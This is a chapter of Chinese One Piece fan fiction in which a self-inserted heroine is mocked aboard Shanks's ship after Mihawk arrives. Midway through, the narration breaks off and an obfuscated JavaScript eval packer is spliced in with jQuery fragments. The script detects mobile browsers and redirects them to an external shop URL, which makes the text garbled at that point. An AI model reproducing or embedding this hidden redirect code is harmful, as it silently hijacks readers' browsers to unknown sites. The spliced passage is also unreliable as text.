科特克万万没想到,米霍克会来得这么快。
不是一般帆船正常航行的快,也不是顺风满帆的快,而是一种近乎违背常理、透着某种“我倒要亲眼看看”急迫感的、仿佛乘风破浪日夜兼程的、令人心悸的快。
就在香克斯挂断电话虫、宣布要开宴会、船员们开始热火朝天地搬酒搬食物、甲板上刚刚升起节日般喧闹气氛的第二天下午,雷德·佛斯号的瞭望手还没来得及拉响发现不明船只的警铃,那艘造型独特、形似棺木的小型船只便已如同幽灵般,悄无声息地切开了平静的海面,以一条笔直的、充满力量的轨迹,稳稳停靠在了雷德·佛斯号高大船身的旁边。
整个过程利落、迅捷,带着一种独属于世界第一大剑豪的、低调却不容忽视的存在感。
而当那个高大挺拔、背负着巨大十字架般黑刀的身影,如同脚下装着弹簧,轻描淡写地一步跨上雷德·佛斯号宽阔的甲板时,科特克感觉自己的心脏都漏跳了一拍。
更让她头皮发麻、四肢冰凉的是——
米霍克那双锐利得仿佛能切开迷雾、洞穿虚实的眼睛一落在甲板上,其视线如同经过最精密的校准,没有丝毫偏移、犹豫或客套性的环视,第一眼,就精准无比地、结结实实地,落在了正试图把自己缩在桅杆阴影里、假装自己是一块长了青苔的船板配件的科特克身上。
那目光平静,无波,甚至没有刻意施加什么气势压迫。
但科特克的腿,瞬间就软了。
不是形容词,是真的生理性的、膝盖骨发酸、小腿肚打颤的那种软。她必须死死用手抠住身后粗糙的桅杆木纹,才能勉强维持住站姿,不至于当场表演一个“出溜滑”瘫坐在地。
她可以隔着无法逾越的次元壁,对着手机或电脑屏幕,为这些二次元角色痴,为他们狂,为他们哐哐撞大墙,对着那些线条勾勒出的腹肌和人设,毫无心理负担地斯哈斯哈,在评论区留下各种“老公娶我”、“崽崽妈妈爱你”的虎狼之词。
但当她真的、面对面、毫无缓冲地,置身于这个由血肉、气势、乃至无形霸气构成的真实世界,亲眼看到、亲身感受到这些只存在于传说和漫画格子里的大海贼——尤其是眼前这位,以剑术登顶世界、性格捉摸不定、传闻中一言不合就可能拔刀的“鹰眼”乔拉可尔·米霍克时——
那些隔着屏幕滋生的、带着安全距离的喜爱和花痴瞬间被一种更原始、更本能的、属于弱小生物面对食物链顶端掠食者的、深入骨髓的恐惧和敬畏所取代。
那是实实在在的、属于站在这个世界武力值顶端的、一小撮怪物之一的压迫感。
无关善恶,纯粹是力量层次带来的、令人窒息的差距。
而这份压迫感,在科特克的视线,不由自主地、颤抖着,落到米霍克背后那柄巨大的、即使在阳光下也仿佛吞噬光线的黑刀上时,达到了顶峰。
无上大快刀十二工之一,“黑刀”夜。
即使她科特克对剑道一窍不通,连菜鸟都算不上;即使她此前对这把传奇兵器的所有认知,都仅仅来源于漫画的分镜、动漫的特写、以及各路同人小说天花乱坠的描写;即使她曾以为那些描述多少带了艺术夸张……
但当她真的、亲眼看到这把刀时,所有的想象和文字,都在瞬间变得苍白无力。
她突然就明白了,为什么有些剑士会终其一生,疯魔般地追求一把名刀。那不仅仅是因为锋利,因为传承,因为象征意义。
强。
很强。
一种难以用语言精准描述的、内敛却又磅礴的强。即使它此刻静静地被米霍克背在身后,未曾展露哪怕一丝寒芒;即使她是个对刀剑鉴赏一窍不通的门外汉,完全看不懂什么锻造工艺、血槽纹理、重心配比……
她依旧能清晰地“感觉”到,从那柄巨大的黑刀上,散发出的、令人心悸的、仿佛连周围空气都变得沉重粘稠的气息。那不是杀气,而是一种更本质的、属于“器”本身达到某种极致后,自然而然流露出的、沉默的威严与……存在感。
而且……
科特克的瞳孔微微收缩,一个荒诞却又无比真实的念头,伴随着巨大的槽点,猛地冲进她的脑海——
这刀……特么的是不是比她整个人还要高啊?!甚至可能还宽?!
她下意识地目测了一下米霍克的身高,又看了看那柄竖直背在他身后、几乎要触及甲板的巨大黑刀,然后绝望地发现,如果她站在那刀旁边,刀身的高度很可能真的超过她的头顶!
这什么魔鬼尺寸?!这是给人设计、给人使用的刀吗?!这真的、真的是人类能够挥动自如、如臂使指的武器吗?!这玩意儿抡起来,怕不是能直接当攻城锤用吧?!一刀下去,砍碎的不是人,是城墙吧?!
米霍克!你平时到底是怎么把它那么轻松、那么稳地背在身后的?!走路、转身、跳跃、战斗……你的肩胛骨、你的脊柱、你的核心肌群,到底是什么材质构成的?!是掺了海楼石还是用了贝加庞克的黑科技?!怪不得你能成为世界第一大剑豪!光是能每天背着这么一扇门板、还能行动自如不被压垮、不影响平衡和敏捷,就已经是怪物级别的体能和身体掌控力了吧?!
这根本是物理意义上的负重训练巅峰了吧?!科特克悲愤地想,感觉自己那点刚刚因为能和猛士达五五开而生出的、微弱的自豪感,在这柄物理外挂般的黑刀面前,被碾得连渣都不剩。
就在科特克内心被黑刀的尺寸和米霍克非人般的体能疯狂刷屏、腿软得快要站不住时,米霍克终于收回了那仿佛带有实质重量的打量目光。
他向前走了几步,脚步沉稳,甲板上甚至没发出什么明显的声响。他先是朝着香克斯和艾鲁兹的方向几不可查地点了下头,算是打过招呼,然后,视线重新落回科特克身上。
他用那种一贯的、没什么情绪起伏的、平静到近乎冷淡的语调,缓缓开口,声音不高,却清晰地传遍了突然安静下来的甲板:
“这就是那位……”
他微妙地停顿了一下,似乎在挑选一个最恰当的词汇来描述这个“传奇”事迹的主人公。那双鹰隼般的眼睛在科特克因为紧张而有些僵硬的身体、以及她手里下意识紧紧握着的训练木棍上扫过。
最终,他选择了那个最安全、也最让科特克无地自容的词:
“……和猛士达战至平手的……小姐?”
“小姐”。他用了这个称呼。
科特克:“……”
您是故意的吧?米霍克!您绝对是故意的吧?!您刚才那微妙的停顿,是不是在“剑士”、“战士”、“勇士”等一堆可能更贴切但明显不符合她画风的词汇里艰难抉择,最后发现哪个都不对劲,才勉强选了个最中性、也最充满槽点的小姐?!
您是不是也想说“这就是那位和猴子五五开的奇人”,但出于世界第一大剑豪的基本礼貌,硬生生换了个说法?!这比直接说出来还让人羞耻啊喂!
你不如直接说“那个和猴子打架的人”呢!还含蓄个什么劲啊!
科特克内心在咆哮。
“哈哈哈哈哈哈哈哈哈哈哈哈!!!!!!!”
短暂的死寂被彻底打破,引爆剂是香克斯那毫无形象、惊天动地、仿佛憋了整整一个世纪的狂笑!他笑得直接后仰,差点撞到身后的贝克曼,一边笑一边用力拍打着大腿,眼泪瞬间飙出,在阳光下闪闪发光。
“没错!哈哈哈哈!就是她!科特克小姐!我们船上的猛士达一生之敌!五五开战神!哈哈哈哈!”香克斯一边笑一边上气不接下气地补充介绍,每一个字都像一把小刀,精准地扎在科特克脆弱的自尊心上。
“噗哈哈哈哈!对!战至平手!精辟!米霍克你总结得太到位了!”克莱尔也立刻加入了狂笑队伍,他笑得弯下了腰,手指着科特克的方向,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509556|202940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肩膀抖得像暴风雨中的小船,仿佛要把这几天在父亲威压下积攒的“委屈”和“恐惧”全都通过笑声发泄出来。
“噗……”
就连坐在不远处、一直保持着“世外高人”姿态的艾鲁兹,此刻也没能忍住,从鼻腔里发出一声清晰可闻的、充满玩味气息的闷笑。虽然很快收敛,但那微微上扬又迅速压平的嘴角,和眼中一闪而过的笑意,早已被科特克绝望的目光捕捉到。
“哈哈哈哈哈!”
“战至平手!小姐!哈哈哈哈!”
“猛士达!你的威名传到世界第一大剑豪耳朵里了!”
“吱吱吱吱!”
甲板上顿时爆发出第二轮、比昨天更热烈、更持久、更肆无忌惮的哄堂大笑。红发海贼团的成员们东倒西歪,拍腿的拍腿,捶甲板的捶甲板。
科特克面无表情地站在原地,手里紧紧攥着那根无辜的木棍,指节因为用力而微微发白。
她感觉自己的灵魂已经彻底出窍,飘在雷德·佛斯号上空,冷漠地、悲悯地俯视着甲板上这群笑成一团、形象全无、仿佛集体中了“欢乐笑气”的、所谓的海上豪杰们。
你们没救了。
真的。
你们这群该死的、以他人痛苦和窘迫为精神食粮、为快乐源泉的、乐子人海贼!
你们的大海贼格调呢?!逼格呢?!那一个个在通缉令上、在报纸头条上、在世人传闻中威武霸气、深不可测、让人闻风丧胆的人设呢?!
全特么塌了吧?!塌得彻彻底底,连地基都没剩,直接塌成一片快乐的废墟了吧?!
香克斯!看看你!你的四皇格调呢?!你那背负新时代、平衡大海势力、豪气干云爽朗不羁的“红发”形象呢?!全特么随着你这震耳欲聋的、毫无形象的笑声,化成彩虹屁飘到新世界的尽头了吧?!
克莱尔!看看你!你前王下七武海的尊严呢?!你偷偷资助战争孤儿、教他们生存技能时那点温柔的、靠谱的前辈人设呢?!全喂了无风带的海王类吗?!现在笑得比香克斯还夸张!
艾鲁兹前辈!您可是洛克斯时代活到现在的传奇!“千棍”的威严呢?!您那因为宝贝鱼竿被不孝子撅断而持续笼罩船队的、山雨欲来的低气压呢?!合着您的快乐源泉,也是建立在我的社死和“与猴平手”的悲剧之上吗?!您那一声“噗”是认真的吗?!
还有你们!红发海贼团的各位干部船员们!威震新世界、让海军本部都头疼不已的“铁壁海贼团”!发展均衡、配合默契、悬赏金加起来能买下好几个国家的海上精锐!
你们的画风能不能统一一下?!能不能稍微、哪怕只是象征性地、在“世界第一大剑豪”登船拜访这种稍微正式一点的场合,表现出一点点海上豪强该有的、冷静自持、霸气侧漏、喜怒不形于色的样子啊?!
为什么一个“和猛士达五五开”的梗,能让你们从四皇到船员、从现役骨干到前七武海、从本时代的皇帝到旧时代的遗老,全员、全程、全方位地嗨成这样啊?!这合理吗?!这科学吗?!这伟大航路最顶层的战力圈子,到底是什么神奇又沙雕的生态圈啊?!你们平时开宴会就交流这个吗?!
尤其是你!米霍克!科特克悲愤欲绝的目光,最后死死钉在那个引发全场爆笑、却依旧一脸平静的罪魁祸首身上。
你问什么位置!你来干嘛?!你就为了亲自登上这艘贼船,用你这双鹰眼确认一下“和猛士达战至平手的人类”到底长什么样、现场气氛到底有多欢乐吗?!你的好奇心、你的行动力,能不能用在挑战更强剑士、打磨黑刀、或者寻找更稀有的耕种土壤这种正经地方啊喂!
我恨你们。
科特克仰起头,最后一次,望向那蔚蓝的、广阔无垠的、仿佛能包容一切的天空。
我恨你们这群该死的、以看他人乐子为毕生追求、毫无强者自觉和格调可言的、王八蛋海贼!